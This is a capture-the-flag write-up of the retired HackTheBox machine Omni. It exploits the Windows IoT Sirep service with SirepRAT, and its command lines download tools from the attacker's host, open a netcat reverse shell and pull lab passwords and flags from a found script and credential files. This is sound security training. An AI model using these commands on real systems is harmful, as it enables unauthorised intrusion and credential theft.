Writeup: HackTheBox Omni Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Omni, is retired.

Machine Info

1. TLDR

Omni graph

2. Preparation

I have prepared some useful variables:

export IP=10.10.10.204

3. Scanning and Reconnaissance

For starters, I used the nmap utility to identify open ports:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 17:15 CEST
Nmap scan report for 10.10.10.204
Host is up (0.035s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.98 seconds

In the meantime, I used a browser and did a quick test of the HTTP service. An HTTP service using The ‘Basic’ HTTP Authentication Scheme (RFC 7617) was hosted on the machine :

Omni SignInForm

The nmap scan revealed that the http service on port 8080 is Windows Device Portal, which is the IoT device management interface.

4. Gaining access

A review of articles available on the web about IoT devices controlled by Microsoft solutions led me to this article and finally to the tool SirepRAT.

So I tried to execute a test command:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP GetSystemInformationFromDevice
<SystemInformationResult | type: 51, payload length: 32, kv: {'wProductType': 0, 'wServicePackMinor': 2, 'dwBuildNumber': 17763, 'dwOSVersionInfoSize': 0, 'dwMajorVersion': 10, 'wSuiteMask': 0, 'dwPlatformId': 2, 'wReserved': 0, 'wServicePackMajor': 1, 'dwMinorVersion': 0, 'szCSDVersion': 0}>

The command ended with the correct answer, so I proceeded to arm myself with the winPEAS tool and prepare the shell:

┌─[t4wny0wl@whitehatlab]─[/opt/SirepRAT]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49675
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat ./
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $cp /usr/share/windows-resources/binaries/nc64.exe ./74wny0wl.exe

I downloaded winPEAS.bat and a copy of nc64.exe to the target machine:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP LaunchCommandWithOutput --return_output --cmd "cmd.exe" --args "/c powershell Invoke-WebRequest -OutFile C:\Users\Public\winPEAS.bat -Uri http://10.10.14.182/winPEAS.bat" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP LaunchCommandWithOutput --return_output --cmd "cmd.exe" --args "/c powershell Invoke-WebRequest -OutFile C:\Users\Public\74wny0wl.exe -Uri http://10.10.14.182/74wny0wl.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

Next, I made the connection:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP LaunchCommandWithOutput --return_output --cmd "cmd.exe" --args "/c C:\Users\Public\74wny0wl.exe 10.10.14.182 443 -e powershell.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

and got the name of the current user:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49697
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $env:UserName
$env:UserName
omni$

5. Privilege Escalation: omni ⇨ administrator

I launched the winPEAS utility:

PS C:\windows\system32> cmd
cmd
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>cd C:\Users\Public
cd C:\Users\Public

C:\Users\Public>winPEAS.bat
...
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [+] ENVIRONMENT <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
[i] Interesting information?
ALLUSERSPROFILE=C:\Data\ProgramData
APPDATA=C:\Data\Users\System\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=omni
ComSpec=C:\windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
expl=no
LOCALAPPDATA=C:\Data\Users\System\AppData\Local
long=no
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\windows\system32;C:\windows;C:\windows\System32\OpenSSH\;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 23 Model 1 Stepping 2, AuthenticAMD
PROCESSOR_LEVEL=23
PROCESSOR_REVISION=0102
ProgramData=C:\Data\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PUBLIC=C:\Data\Users\Public
SystemDrive=C:
SystemRoot=C:\windows
TEMP=C:\Data\SystemData\Temp
TMP=C:\Data\SystemData\Temp
USERDOMAIN=WORKGROUP
USERNAME=omni$
USERPROFILE=C:\Data\Users\System
windir=C:\windows
...

An analysis of the result of the winPEAS utility reveals that user data is stored in the C:\Data\Users directory:

C:\Data\Users>dir /a
dir /a
 Volume in drive C is MainOS
 Volume Serial Number is 3C37-C677

 Directory of C:\Data\Users

07/04/2020  07:28 PM    <DIR>          .
07/04/2020  07:28 PM    <DIR>          ..
07/04/2020  09:48 PM    <DIR>          administrator
09/07/2020  11:35 AM    <DIR>          app
07/04/2020  12:22 AM    <DIR>          Default
07/03/2020  11:22 PM    <DIR>          DefaultAccount
07/03/2020  11:22 PM    <DIR>          DevToolsUser
08/21/2020  01:55 PM    <DIR>          Public
07/04/2020  10:29 PM    <DIR>          System
               0 File(s)              0 bytes
               9 Dir(s)   4,692,115,456 bytes free

In the user directory administrator and app I found interesting files: root.txt, user.txt, user.xml, iot-admin.xml and hardening .txt. The contents of the first four are presented below. The file hardening.txt could not be read due to the lack of permissions:

C:\Data\Users\administrator>type root.txt
type root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
    </Props>
  </Obj>
</Objs>

C:\Data\Users\app>type user.txt
type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>
C:\Data\Users\app>type user.xml
type user.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>
C:\Data\Users\app>type iot-admin.xml
type iot-admin.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">omni\administrator</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
    </Props>
  </Obj>
</Objs>
C:\Data\Users\app>type hardening.txt
type hardening.txt
Access is denied.

I have tried to read the encrypted passwords as follows, unfortunately without success:

PS C:\Data\Users\administrator> $serialized = Get-Content root.txt
$serialized = Get-Content root.txt
PS C:\Data\Users\administrator>  $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
 $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
Exception calling "Deserialize" with "1" argument(s): "Error occurred during a 
cryptographic operation."
At line:1 char:2
+  $cred = [System.Management.Automation.PSSerializer]::Deserialize($se ...
+  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CryptographicException
 

Many tools were missing from the heavily trimmed operating system. So I wrote out a list of currently running processes:

PS C:\Data\Users> Get-CimInstance Win32_Process | Select-Object -Property ProcessId, Name, CommandLine | Format-List
Get-CimInstance Win32_Process | Select-Object -Property ProcessId, Name, CommandLine | Format-List


ProcessId   : 0
Name        : System Idle Process
CommandLine : 
...
ProcessId   : 1668
Name        : cmd.exe
CommandLine : C:\windows\system32\cmd.exe /c ""C:\Program 
              Files\WindowsPowerShell\Modules\PackageManagement\r.bat""
...

One of them caught my attention: the cmd.exe process, which was using a r.bat script stored in an unusual location. So I read the file r.bat:

PS C:\Data\Users> type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

This revealed two sets of credentials:

I logged into the portal as an app user and ran the uploaded copy of netcat:

User shell

Having access to the shell, I read the flag from the file C:\Data\Users\app\user.txt:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49682
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $serialized = Get-Content C:\Data\Users\app\user.txt
$serialized = Get-Content C:\Data\Users\app\user.txt
PS C:\windows\system32> $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
PS C:\windows\system32> $cred.GetNetworkCredential().Password
$cred.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70

I logged into the portal as administrator and started the uploaded copy of netcat in the same way. Then I read the flag from the file:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49683
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $serialized = Get-Content C:\Data\Users\administrator\root.txt
$serialized = Get-Content C:\Data\Users\administrator\root.txt
PS C:\windows\system32> $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
PS C:\windows\system32> $cred.GetNetworkCredential().Password
$cred.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d

6. Summary

The following circumstances led to the capture of the flags:

Sirep Test Service